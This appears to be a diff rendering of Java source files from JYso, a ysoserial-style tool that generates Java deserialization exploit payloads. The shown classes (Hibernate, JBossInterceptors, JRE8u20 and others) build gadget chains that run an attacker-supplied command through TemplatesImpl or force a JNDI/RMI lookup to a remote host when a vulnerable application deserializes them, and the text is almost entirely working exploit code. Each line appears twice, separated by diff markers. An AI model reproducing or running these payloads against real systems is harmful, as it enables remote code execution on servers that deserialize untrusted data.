Reflections.getField(AbstractComponentTuplizer.class, "propertySpan").set(tup, 1);
|
Reflections.getField(AbstractComponentTuplizer.class, "propertySpan").set(tup, 1);
|
||||||
|
|
||||||
ComponentType t = Reflections.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]);
|
ComponentType t = Reflections.createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]);
|
||||||
HashMap hm = new HashMap();
|
HashMap hm = new HashMap();
|
||||||
hm.put(EntityMode.POJO, tup);
|
hm.put(EntityMode.POJO, tup);
|
||||||
Object emtm = Reflections.createWithConstructor(entityEntityModeToTuplizerMappingClass, entityModeToTuplizerMappingClass, new Class[]{Map.class}, new Object[]{hm});
|
Object emtm = Reflections.createWithConstructor(entityEntityModeToTuplizerMappingClass, entityModeToTuplizerMappingClass, new Class[]{Map.class}, new Object[]{hm});
|
||||||
Reflections.setFieldValue(t, "tuplizerMapping", emtm);
|
Reflections.setFieldValue(t, "tuplizerMapping", emtm);
|
||||||
Reflections.setFieldValue(t, "propertySpan", 1);
|
Reflections.setFieldValue(t, "propertySpan", 1);
|
||||||
Reflections.setFieldValue(t, "propertyTypes", new Type[]{
|
Reflections.setFieldValue(t, "propertyTypes", new Type[]{
|
||||||
t
|
t
|
||||||
});
|
});
|
||||||
|
|
||||||
Constructor<?> typedValueConstructor = typedValueClass.getDeclaredConstructor(Type.class, Object.class, EntityMode.class);
|
Constructor<?> typedValueConstructor = typedValueClass.getDeclaredConstructor(Type.class, Object.class, EntityMode.class);
|
||||||
Object v1 = typedValueConstructor.newInstance(t, null, EntityMode.POJO);
|
Object v1 = typedValueConstructor.newInstance(t, null, EntityMode.POJO);
|
||||||
Reflections.setFieldValue(v1, "value", tpl);
|
Reflections.setFieldValue(v1, "value", tpl);
|
||||||
Reflections.setFieldValue(v1, "type", t);
|
Reflections.setFieldValue(v1, "type", t);
|
||||||
|
|
||||||
Object v2 = typedValueConstructor.newInstance(t, null, EntityMode.POJO);
|
Object v2 = typedValueConstructor.newInstance(t, null, EntityMode.POJO);
|
||||||
Reflections.setFieldValue(v2, "value", tpl);
|
Reflections.setFieldValue(v2, "value", tpl);
|
||||||
Reflections.setFieldValue(v2, "type", t);
|
Reflections.setFieldValue(v2, "type", t);
|
||||||
|
|
||||||
return makeMap(v1, v2);
|
return makeMap(v1, v2);
|
||||||
}
|
}
|
||||||
|
|
||||||
public Object getObject(String command) throws Exception {
|
public Object getObject(String command) throws Exception {
|
||||||
final Object tpl;
|
final Object tpl;
|
||||||
tpl = Gadgets.createTemplatesImpl(command);
|
tpl = Gadgets.createTemplatesImpl(command);
|
||||||
Object getters = makeGetter(tpl.getClass(), "getOutputProperties");
|
Object getters = makeGetter(tpl.getClass(), "getOutputProperties");
|
||||||
return makeCaller(tpl, getters);
|
return makeCaller(tpl, getters);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,56 +1,56 @@
|
|||||||
package com.qi4l.JYso.gadgets;
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
import com.qi4l.JYso.gadgets.utils.DynamicDependencies;
|
import com.qi4l.JYso.gadgets.utils.DynamicDependencies;
|
||||||
import com.qi4l.JYso.gadgets.utils.JavaVersion;
|
import com.qi4l.JYso.gadgets.utils.JavaVersion;
|
||||||
import com.sun.rowset.JdbcRowSetImpl;
|
import com.sun.rowset.JdbcRowSetImpl;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Another application filter bypass
|
* Another application filter bypass
|
||||||
* <p>
|
* <p>
|
||||||
* Needs a getter invocation that is provided by hibernate here
|
* Needs a getter invocation that is provided by hibernate here
|
||||||
* <p>
|
* <p>
|
||||||
* javax.naming.InitialContext.InitialContext.lookup()
|
* javax.naming.InitialContext.InitialContext.lookup()
|
||||||
* com.sun.rowset.JdbcRowSetImpl.connect()
|
* com.sun.rowset.JdbcRowSetImpl.connect()
|
||||||
* com.sun.rowset.JdbcRowSetImpl.getDatabaseMetaData()
|
* com.sun.rowset.JdbcRowSetImpl.getDatabaseMetaData()
|
||||||
* org.hibernate.property.access.spi.GetterMethodImpl.get()
|
* org.hibernate.property.access.spi.GetterMethodImpl.get()
|
||||||
* org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue()
|
* org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue()
|
||||||
* org.hibernate.type.ComponentType.getPropertyValue(C)
|
* org.hibernate.type.ComponentType.getPropertyValue(C)
|
||||||
* org.hibernate.type.ComponentType.getHashCode()
|
* org.hibernate.type.ComponentType.getHashCode()
|
||||||
* org.hibernate.engine.spi.TypedValue$1.initialize()
|
* org.hibernate.engine.spi.TypedValue$1.initialize()
|
||||||
* org.hibernate.engine.spi.TypedValue$1.initialize()
|
* org.hibernate.engine.spi.TypedValue$1.initialize()
|
||||||
* org.hibernate.internal.util.ValueHolder.getValue()
|
* org.hibernate.internal.util.ValueHolder.getValue()
|
||||||
* org.hibernate.engine.spi.TypedValue.hashCode()
|
* org.hibernate.engine.spi.TypedValue.hashCode()
|
||||||
* <p>
|
* <p>
|
||||||
* <p>
|
* <p>
|
||||||
* Requires:
|
* Requires:
|
||||||
* - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only)
|
* - Hibernate (>= 5 gives arbitrary method invocation, <5 getXYZ only)
|
||||||
* <p>
|
* <p>
|
||||||
* Arg:
|
* Arg:
|
||||||
* - JNDI name (i.e. rmi:<host>)
|
* - JNDI name (i.e. rmi:<host>)
|
||||||
* <p>
|
* <p>
|
||||||
* Yields:
|
* Yields:
|
||||||
* - JNDI lookup invocation (e.g. connect to remote RMI)
|
* - JNDI lookup invocation (e.g. connect to remote RMI)
|
||||||
*
|
*
|
||||||
* @author mbechler
|
* @author mbechler
|
||||||
*/
|
*/
|
||||||
|
|
||||||
@SuppressWarnings({"unused"})
|
@SuppressWarnings({"unused"})
|
||||||
@Authors({Authors.MBECHLER})
|
@Authors({Authors.MBECHLER})
|
||||||
public class Hibernate2 implements ObjectPayload<Object>, DynamicDependencies {
|
public class Hibernate2 implements ObjectPayload<Object>, DynamicDependencies {
|
||||||
|
|
||||||
public static boolean isApplicableJavaVersion() {
|
public static boolean isApplicableJavaVersion() {
|
||||||
return JavaVersion.isAtLeast(7);
|
return JavaVersion.isAtLeast(7);
|
||||||
}
|
}
|
||||||
|
|
||||||
public static String[] getDependencies() {
|
public static String[] getDependencies() {
|
||||||
return Hibernate1.getDependencies();
|
return Hibernate1.getDependencies();
|
||||||
}
|
}
|
||||||
|
|
||||||
public Object getObject(String command) throws Exception {
|
public Object getObject(String command) throws Exception {
|
||||||
|
|
||||||
JdbcRowSetImpl rs = new JdbcRowSetImpl();
|
JdbcRowSetImpl rs = new JdbcRowSetImpl();
|
||||||
rs.setDataSourceName(command);
|
rs.setDataSourceName(command);
|
||||||
return Hibernate1.makeCaller(rs, Hibernate1.makeGetter(rs.getClass(), "getDatabaseMetaData"));
|
return Hibernate1.makeCaller(rs, Hibernate1.makeGetter(rs.getClass(), "getDatabaseMetaData"));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,52 +1,52 @@
|
|||||||
package com.qi4l.JYso.gadgets;
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
import com.qi4l.JYso.gadgets.utils.DynamicDependencies;
|
import com.qi4l.JYso.gadgets.utils.DynamicDependencies;
|
||||||
import javassist.ClassPool;
|
import javassist.ClassPool;
|
||||||
import javassist.CtClass;
|
import javassist.CtClass;
|
||||||
import javassist.CtMethod;
|
import javassist.CtMethod;
|
||||||
|
|
||||||
import java.util.HashMap;
|
import java.util.HashMap;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
|
|
||||||
import static com.qi4l.JYso.gadgets.Fastjson1.getFastjsonSink;
|
import static com.qi4l.JYso.gadgets.Fastjson1.getFastjsonSink;
|
||||||
import static com.qi4l.JYso.gadgets.utils.InjShell.insertField;
|
import static com.qi4l.JYso.gadgets.utils.InjShell.insertField;
|
||||||
|
|
||||||
@SuppressWarnings({"unused"})
|
@SuppressWarnings({"unused"})
|
||||||
@Dependencies({" org.hibernate.hibernate-core:hibernate-core <= 4.1.12.Fina", "com.alibaba.fastjson:com.alibaba.fastjson 1.X"})
|
@Dependencies({" org.hibernate.hibernate-core:hibernate-core <= 4.1.12.Fina", "com.alibaba.fastjson:com.alibaba.fastjson 1.X"})
|
||||||
@Authors({Authors.UNAM4})
|
@Authors({Authors.UNAM4})
|
||||||
public class Hibernate3JDBC implements ObjectPayload<Object>, DynamicDependencies {
|
public class Hibernate3JDBC implements ObjectPayload<Object>, DynamicDependencies {
|
||||||
@Override
|
@Override
|
||||||
public Object getObject(String command) throws Exception {
|
public Object getObject(String command) throws Exception {
|
||||||
ClassPool pool = ClassPool.getDefault();
|
ClassPool pool = ClassPool.getDefault();
|
||||||
CtClass driverconimpl = pool.makeClass("org.hibernate.service.jdbc.connections.internal.DriverManagerConnectionProviderImpl");
|
CtClass driverconimpl = pool.makeClass("org.hibernate.service.jdbc.connections.internal.DriverManagerConnectionProviderImpl");
|
||||||
CtClass serializable = pool.get("java.io.Serializable");
|
CtClass serializable = pool.get("java.io.Serializable");
|
||||||
driverconimpl.addInterface(serializable);
|
driverconimpl.addInterface(serializable);
|
||||||
insertField(driverconimpl, "serialVersionUID", "private static final long serialVersionUID = -3339733132699493320L;");
|
insertField(driverconimpl, "serialVersionUID", "private static final long serialVersionUID = -3339733132699493320L;");
|
||||||
insertField(driverconimpl, "url", "private String url;");
|
insertField(driverconimpl, "url", "private String url;");
|
||||||
insertField(driverconimpl, "poolSize", "private int poolSize;");
|
insertField(driverconimpl, "poolSize", "private int poolSize;");
|
||||||
insertField(driverconimpl, "pool", "private java.util.ArrayList pool = new java.util.ArrayList();");
|
insertField(driverconimpl, "pool", "private java.util.ArrayList pool = new java.util.ArrayList();");
|
||||||
|
|
||||||
|
|
||||||
CtMethod make = CtMethod.make(
|
CtMethod make = CtMethod.make(
|
||||||
"public void configure(java.util.Map configurationValues) { " +
|
"public void configure(java.util.Map configurationValues) { " +
|
||||||
"this.url = (String) configurationValues.get(\"hibernate.connection.url\");" +
|
"this.url = (String) configurationValues.get(\"hibernate.connection.url\");" +
|
||||||
"this.poolSize = Integer.parseInt((String) configurationValues.get(\"hibernate.connection.pool_size\"));" +
|
"this.poolSize = Integer.parseInt((String) configurationValues.get(\"hibernate.connection.pool_size\"));" +
|
||||||
"this.pool = new java.util.ArrayList();" +
|
"this.pool = new java.util.ArrayList();" +
|
||||||
"}", driverconimpl);
|
"}", driverconimpl);
|
||||||
driverconimpl.addMethod(make);
|
driverconimpl.addMethod(make);
|
||||||
|
|
||||||
|
|
||||||
Class<?> clazz = driverconimpl.toClass();
|
Class<?> clazz = driverconimpl.toClass();
|
||||||
Object o1 = clazz.newInstance();
|
Object o1 = clazz.newInstance();
|
||||||
HashMap<Object, Object> map1 = new HashMap<>();
|
HashMap<Object, Object> map1 = new HashMap<>();
|
||||||
map1.put("hibernate.connection.url", command);
|
map1.put("hibernate.connection.url", command);
|
||||||
map1.put("hibernate.connection.pool_size", "0");
|
map1.put("hibernate.connection.pool_size", "0");
|
||||||
|
|
||||||
clazz.getMethod("configure", Map.class).invoke(o1, map1);
|
clazz.getMethod("configure", Map.class).invoke(o1, map1);
|
||||||
|
|
||||||
return getFastjsonSink(o1);
|
return getFastjsonSink(o1);
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,18 +1,18 @@
|
|||||||
package com.qi4l.JYso.gadgets;
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
|
|
||||||
import static com.qi4l.JYso.gadgets.JavassistWeld1.get_chain;
|
import static com.qi4l.JYso.gadgets.JavassistWeld1.get_chain;
|
||||||
|
|
||||||
@SuppressWarnings({"unused"})
|
@SuppressWarnings({"unused"})
|
||||||
@Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.interceptor:jboss-interceptor-core:2.0.0.Final",
|
@Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.interceptor:jboss-interceptor-core:2.0.0.Final",
|
||||||
"javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1",
|
"javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1",
|
||||||
"org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21"})
|
"org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21"})
|
||||||
@Authors({Authors.MATTHIASKAISER})
|
@Authors({Authors.MATTHIASKAISER})
|
||||||
public class JBossInterceptors1 implements ObjectPayload<Object> {
|
public class JBossInterceptors1 implements ObjectPayload<Object> {
|
||||||
|
|
||||||
public Object getObject(String command) throws Exception {
|
public Object getObject(String command) throws Exception {
|
||||||
return get_chain(command, null, org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE);
|
return get_chain(command, null, org.jboss.interceptor.spi.model.InterceptionType.POST_ACTIVATE);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,106 +1,106 @@
|
|||||||
package com.qi4l.JYso.gadgets;
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||||
import com.qi4l.JYso.gadgets.utils.JavaVersion;
|
import com.qi4l.JYso.gadgets.utils.JavaVersion;
|
||||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
import com.qi4l.JYso.gadgets.utils.jre.*;
|
import com.qi4l.JYso.gadgets.utils.jre.*;
|
||||||
|
|
||||||
import javax.xml.transform.Templates;
|
import javax.xml.transform.Templates;
|
||||||
import java.beans.beancontext.BeanContextChild;
|
import java.beans.beancontext.BeanContextChild;
|
||||||
import java.beans.beancontext.BeanContextSupport;
|
import java.beans.beancontext.BeanContextSupport;
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.DataOutputStream;
|
import java.io.DataOutputStream;
|
||||||
import java.util.HashMap;
|
import java.util.HashMap;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
|
|
||||||
import static com.qi4l.JYso.Starter.JYsoMode;
|
import static com.qi4l.JYso.Starter.JYsoMode;
|
||||||
|
|
||||||
|
|
||||||
@SuppressWarnings({"rawtypes", "unused"})
|
@SuppressWarnings({"rawtypes", "unused"})
|
||||||
@Dependencies
|
@Dependencies
|
||||||
@Authors({"frohoff"})
|
@Authors({"frohoff"})
|
||||||
public class JRE8u20 implements ObjectPayload<Object> {
|
public class JRE8u20 implements ObjectPayload<Object> {
|
||||||
|
|
||||||
public static Object makeTemplates(String command) throws Exception {
|
public static Object makeTemplates(String command) throws Exception {
|
||||||
final Object templates;
|
final Object templates;
|
||||||
templates = Gadgets.createTemplatesImpl(command);
|
templates = Gadgets.createTemplatesImpl(command);
|
||||||
Reflections.setFieldValue(templates, "_auxClasses", null);
|
Reflections.setFieldValue(templates, "_auxClasses", null);
|
||||||
return templates;
|
return templates;
|
||||||
}
|
}
|
||||||
|
|
||||||
public static TCObject makeHandler(HashMap map, Serialization ser) throws Exception {
|
public static TCObject makeHandler(HashMap map, Serialization ser) throws Exception {
|
||||||
TCObject handler = new TCObject(ser) {
|
TCObject handler = new TCObject(ser) {
|
||||||
public void doWrite(DataOutputStream out, HandleContainer handles) throws Exception {
|
public void doWrite(DataOutputStream out, HandleContainer handles) throws Exception {
|
||||||
ByteArrayOutputStream byteout = new ByteArrayOutputStream();
|
ByteArrayOutputStream byteout = new ByteArrayOutputStream();
|
||||||
super.doWrite(new DataOutputStream(byteout), handles);
|
super.doWrite(new DataOutputStream(byteout), handles);
|
||||||
byte[] bytes = byteout.toByteArray();
|
byte[] bytes = byteout.toByteArray();
|
||||||
out.write(bytes, 0, bytes.length - 1);
|
out.write(bytes, 0, bytes.length - 1);
|
||||||
}
|
}
|
||||||
};
|
};
|
||||||
TCClassDesc desc = new TCClassDesc("sun.reflect.annotation.AnnotationInvocationHandler", (byte) 3);
|
TCClassDesc desc = new TCClassDesc("sun.reflect.annotation.AnnotationInvocationHandler", (byte) 3);
|
||||||
desc.addField(new TCClassDesc.Field("memberValues", Map.class));
|
desc.addField(new TCClassDesc.Field("memberValues", Map.class));
|
||||||
desc.addField(new TCClassDesc.Field("type", Class.class));
|
desc.addField(new TCClassDesc.Field("type", Class.class));
|
||||||
TCObject.ObjectData data = new TCObject.ObjectData();
|
TCObject.ObjectData data = new TCObject.ObjectData();
|
||||||
data.addData(map);
|
data.addData(map);
|
||||||
data.addData(Templates.class);
|
data.addData(Templates.class);
|
||||||
handler.addClassDescData(desc, data);
|
handler.addClassDescData(desc, data);
|
||||||
return handler;
|
return handler;
|
||||||
}
|
}
|
||||||
|
|
||||||
public static TCObject makeBeanContextSupport(TCObject handler, Serialization ser) throws Exception {
|
public static TCObject makeBeanContextSupport(TCObject handler, Serialization ser) throws Exception {
|
||||||
TCObject obj = new TCObject(ser);
|
TCObject obj = new TCObject(ser);
|
||||||
TCClassDesc beanContextSupportDesc = new TCClassDesc("java.beans.beancontext.BeanContextSupport");
|
TCClassDesc beanContextSupportDesc = new TCClassDesc("java.beans.beancontext.BeanContextSupport");
|
||||||
TCClassDesc beanContextChildSupportDesc = new TCClassDesc("java.beans.beancontext.BeanContextChildSupport");
|
TCClassDesc beanContextChildSupportDesc = new TCClassDesc("java.beans.beancontext.BeanContextChildSupport");
|
||||||
beanContextSupportDesc.addField(new TCClassDesc.Field("serializable", int.class));
|
beanContextSupportDesc.addField(new TCClassDesc.Field("serializable", int.class));
|
||||||
TCObject.ObjectData beanContextSupportData = new TCObject.ObjectData();
|
TCObject.ObjectData beanContextSupportData = new TCObject.ObjectData();
|
||||||
beanContextSupportData.addData(1);
|
beanContextSupportData.addData(1);
|
||||||
beanContextSupportData.addData(handler);
|
beanContextSupportData.addData(handler);
|
||||||
beanContextSupportData.addData(0, true);
|
beanContextSupportData.addData(0, true);
|
||||||
beanContextChildSupportDesc.addField(new TCClassDesc.Field("beanContextChildPeer", BeanContextChild.class));
|
beanContextChildSupportDesc.addField(new TCClassDesc.Field("beanContextChildPeer", BeanContextChild.class));
|
||||||
TCObject.ObjectData beanContextChildSupportData = new TCObject.ObjectData();
|
TCObject.ObjectData beanContextChildSupportData = new TCObject.ObjectData();
|
||||||
beanContextChildSupportData.addData(obj);
|
beanContextChildSupportData.addData(obj);
|
||||||
obj.addClassDescData(beanContextSupportDesc, beanContextSupportData, true);
|
obj.addClassDescData(beanContextSupportDesc, beanContextSupportData, true);
|
||||||
obj.addClassDescData(beanContextChildSupportDesc, beanContextChildSupportData);
|
obj.addClassDescData(beanContextChildSupportDesc, beanContextChildSupportData);
|
||||||
return obj;
|
return obj;
|
||||||
}
|
}
|
||||||
|
|
||||||
public static boolean isApplicableJavaVersion() {
|
public static boolean isApplicableJavaVersion() {
|
||||||
JavaVersion v = JavaVersion.getLocalVersion();
|
JavaVersion v = JavaVersion.getLocalVersion();
|
||||||
return (v != null && (v.major < 8 || (v.major == 8 && v.update <= 20)));
|
return (v != null && (v.major < 8 || (v.major == 8 && v.update <= 20)));
|
||||||
}
|
}
|
||||||
|
|
||||||
public Object getObject(String command) throws Exception {
|
public Object getObject(String command) throws Exception {
|
||||||
Serialization ser = new Serialization();
|
Serialization ser = new Serialization();
|
||||||
Object templates = makeTemplates(command);
|
Object templates = makeTemplates(command);
|
||||||
HashMap<Object, Object> map = new HashMap<>();
|
HashMap<Object, Object> map = new HashMap<>();
|
||||||
map.put("f5a5a608", templates);
|
map.put("f5a5a608", templates);
|
||||||
TCObject handler = makeHandler(map, ser);
|
TCObject handler = makeHandler(map, ser);
|
||||||
TCObject linkedHashset = new TCObject(ser);
|
TCObject linkedHashset = new TCObject(ser);
|
||||||
TCClassDesc linkedhashsetDesc = new TCClassDesc("java.util.LinkedHashSet");
|
TCClassDesc linkedhashsetDesc = new TCClassDesc("java.util.LinkedHashSet");
|
||||||
TCObject.ObjectData linkedhashsetData = new TCObject.ObjectData();
|
TCObject.ObjectData linkedhashsetData = new TCObject.ObjectData();
|
||||||
TCClassDesc hashsetDesc = new TCClassDesc("java.util.HashSet");
|
TCClassDesc hashsetDesc = new TCClassDesc("java.util.HashSet");
|
||||||
hashsetDesc.addField(new TCClassDesc.Field("fake", BeanContextSupport.class));
|
hashsetDesc.addField(new TCClassDesc.Field("fake", BeanContextSupport.class));
|
||||||
TCObject.ObjectData hashsetData = new TCObject.ObjectData();
|
TCObject.ObjectData hashsetData = new TCObject.ObjectData();
|
||||||
hashsetData.addData(makeBeanContextSupport(handler, ser));
|
hashsetData.addData(makeBeanContextSupport(handler, ser));
|
||||||
hashsetData.addData(10, true);
|
hashsetData.addData(10, true);
|
||||||
hashsetData.addData(1.0F, true);
|
hashsetData.addData(1.0F, true);
|
||||||
hashsetData.addData(2, true);
|
hashsetData.addData(2, true);
|
||||||
hashsetData.addData(templates);
|
hashsetData.addData(templates);
|
||||||
TCObject proxy = Util.makeProxy(new Class[]{Map.class}, handler, ser);
|
TCObject proxy = Util.makeProxy(new Class[]{Map.class}, handler, ser);
|
||||||
hashsetData.addData(proxy);
|
hashsetData.addData(proxy);
|
||||||
linkedHashset.addClassDescData(linkedhashsetDesc, linkedhashsetData);
|
linkedHashset.addClassDescData(linkedhashsetDesc, linkedhashsetData);
|
||||||
linkedHashset.addClassDescData(hashsetDesc, hashsetData, true);
|
linkedHashset.addClassDescData(hashsetDesc, hashsetData, true);
|
||||||
ser.addObject(linkedHashset);
|
ser.addObject(linkedHashset);
|
||||||
|
|
||||||
if (JYsoMode) {
|
if (JYsoMode) {
|
||||||
ser.write(System.out);
|
ser.write(System.out);
|
||||||
System.exit(0);
|
System.exit(0);
|
||||||
}
|
}
|
||||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
ser.write(out);
|
ser.write(out);
|
||||||
return out.toByteArray();
|
return out.toByteArray();
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,73 +1,73 @@
|
|||||||
package com.qi4l.JYso.gadgets;
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
import com.qi4l.JYso.gadgets.utils.ByteUtil;
|
import com.qi4l.JYso.gadgets.utils.ByteUtil;
|
||||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
import com.qi4l.JYso.gadgets.utils.Serializer;
|
import com.qi4l.JYso.gadgets.utils.Serializer;
|
||||||
import javassist.ClassPool;
|
import javassist.ClassPool;
|
||||||
import javassist.CtClass;
|
import javassist.CtClass;
|
||||||
import javassist.CtMethod;
|
import javassist.CtMethod;
|
||||||
|
|
||||||
import javax.xml.transform.Templates;
|
import javax.xml.transform.Templates;
|
||||||
import java.beans.beancontext.BeanContextSupport;
|
import java.beans.beancontext.BeanContextSupport;
|
||||||
import java.lang.reflect.Constructor;
|
import java.lang.reflect.Constructor;
|
||||||
import java.lang.reflect.InvocationHandler;
|
import java.lang.reflect.InvocationHandler;
|
||||||
import java.util.HashMap;
|
import java.util.HashMap;
|
||||||
import java.util.LinkedHashSet;
|
import java.util.LinkedHashSet;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
|
|
||||||
import static com.qi4l.JYso.gadgets.utils.Utils.createProxy;
|
import static com.qi4l.JYso.gadgets.utils.Utils.createProxy;
|
||||||
|
|
||||||
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
||||||
public class JRE8u20_2 implements ObjectPayload<Object> {
|
public class JRE8u20_2 implements ObjectPayload<Object> {
|
||||||
public static Class newInvocationHandlerClass() throws Exception {
|
public static Class newInvocationHandlerClass() throws Exception {
|
||||||
ClassPool pool = ClassPool.getDefault();
|
ClassPool pool = ClassPool.getDefault();
|
||||||
CtClass clazz = pool.get(Gadgets.ANN_INV_HANDLER_CLASS);
|
CtClass clazz = pool.get(Gadgets.ANN_INV_HANDLER_CLASS);
|
||||||
CtMethod writeObject = CtMethod.make(" private void writeObject(java.io.ObjectOutputStream os) throws java.io.IOException {\n" +
|
CtMethod writeObject = CtMethod.make(" private void writeObject(java.io.ObjectOutputStream os) throws java.io.IOException {\n" +
|
||||||
" os.defaultWriteObject();\n" +
|
" os.defaultWriteObject();\n" +
|
||||||
" }", clazz);
|
" }", clazz);
|
||||||
clazz.addMethod(writeObject);
|
clazz.addMethod(writeObject);
|
||||||
return clazz.toClass();
|
return clazz.toClass();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public Object getObject(String command) throws Exception {
|
public Object getObject(String command) throws Exception {
|
||||||
final Object templates;
|
final Object templates;
|
||||||
templates = Gadgets.createTemplatesImpl(command);
|
templates = Gadgets.createTemplatesImpl(command);
|
||||||
|
|
||||||
Class ihClass = newInvocationHandlerClass();
|
Class ihClass = newInvocationHandlerClass();
|
||||||
Constructor constructor = ihClass.getDeclaredConstructor(Class.class, Map.class);
|
Constructor constructor = ihClass.getDeclaredConstructor(Class.class, Map.class);
|
||||||
constructor.setAccessible(true);
|
constructor.setAccessible(true);
|
||||||
InvocationHandler ih = (InvocationHandler) constructor.newInstance(Override.class, new HashMap<>());
|
InvocationHandler ih = (InvocationHandler) constructor.newInstance(Override.class, new HashMap<>());
|
||||||
|
|
||||||
Reflections.setFieldValue(ih, "type", Templates.class);
|
Reflections.setFieldValue(ih, "type", Templates.class);
|
||||||
Templates proxy = createProxy(ih, Templates.class);
|
Templates proxy = createProxy(ih, Templates.class);
|
||||||
|
|
||||||
BeanContextSupport b = new BeanContextSupport();
|
BeanContextSupport b = new BeanContextSupport();
|
||||||
Reflections.setFieldValue(b, "serializable", 1);
|
Reflections.setFieldValue(b, "serializable", 1);
|
||||||
HashMap tmpMap = new HashMap<>();
|
HashMap tmpMap = new HashMap<>();
|
||||||
tmpMap.put(ih, null);
|
tmpMap.put(ih, null);
|
||||||
Reflections.setFieldValue(b, "children", tmpMap);
|
Reflections.setFieldValue(b, "children", tmpMap);
|
||||||
|
|
||||||
|
|
||||||
LinkedHashSet set = new LinkedHashSet();//这样可以确保先反序列化 templates 再反序列化 proxy
|
LinkedHashSet set = new LinkedHashSet();//这样可以确保先反序列化 templates 再反序列化 proxy
|
||||||
set.add(b);
|
set.add(b);
|
||||||
set.add(templates);
|
set.add(templates);
|
||||||
set.add(proxy);
|
set.add(proxy);
|
||||||
|
|
||||||
HashMap hm = new HashMap();
|
HashMap hm = new HashMap();
|
||||||
hm.put("f5a5a608", templates);
|
hm.put("f5a5a608", templates);
|
||||||
Reflections.setFieldValue(ih, "memberValues", hm);
|
Reflections.setFieldValue(ih, "memberValues", hm);
|
||||||
|
|
||||||
byte[] ser = Serializer.serialize(set);
|
byte[] ser = Serializer.serialize(set);
|
||||||
|
|
||||||
byte[] shoudReplace = new byte[]{0x78, 0x70, 0x77, 0x04, 0x00, 0x00, 0x00, 0x00, 0x78, 0x71};
|
byte[] shoudReplace = new byte[]{0x78, 0x70, 0x77, 0x04, 0x00, 0x00, 0x00, 0x00, 0x78, 0x71};
|
||||||
|
|
||||||
int i = ByteUtil.getSubarrayIndex(ser, shoudReplace);
|
int i = ByteUtil.getSubarrayIndex(ser, shoudReplace);
|
||||||
ser = ByteUtil.deleteAt(ser, i); // delete 0x78
|
ser = ByteUtil.deleteAt(ser, i); // delete 0x78
|
||||||
ser = ByteUtil.deleteAt(ser, i); // delete 0x70
|
ser = ByteUtil.deleteAt(ser, i); // delete 0x70
|
||||||
|
|
||||||
return ser;
|
return ser;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,66 +1,66 @@
|
|||||||
package com.qi4l.JYso.gadgets;
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
import sun.rmi.server.UnicastRef;
|
import sun.rmi.server.UnicastRef;
|
||||||
import sun.rmi.transport.LiveRef;
|
import sun.rmi.transport.LiveRef;
|
||||||
import sun.rmi.transport.tcp.TCPEndpoint;
|
import sun.rmi.transport.tcp.TCPEndpoint;
|
||||||
|
|
||||||
import java.lang.reflect.Proxy;
|
import java.lang.reflect.Proxy;
|
||||||
import java.rmi.registry.Registry;
|
import java.rmi.registry.Registry;
|
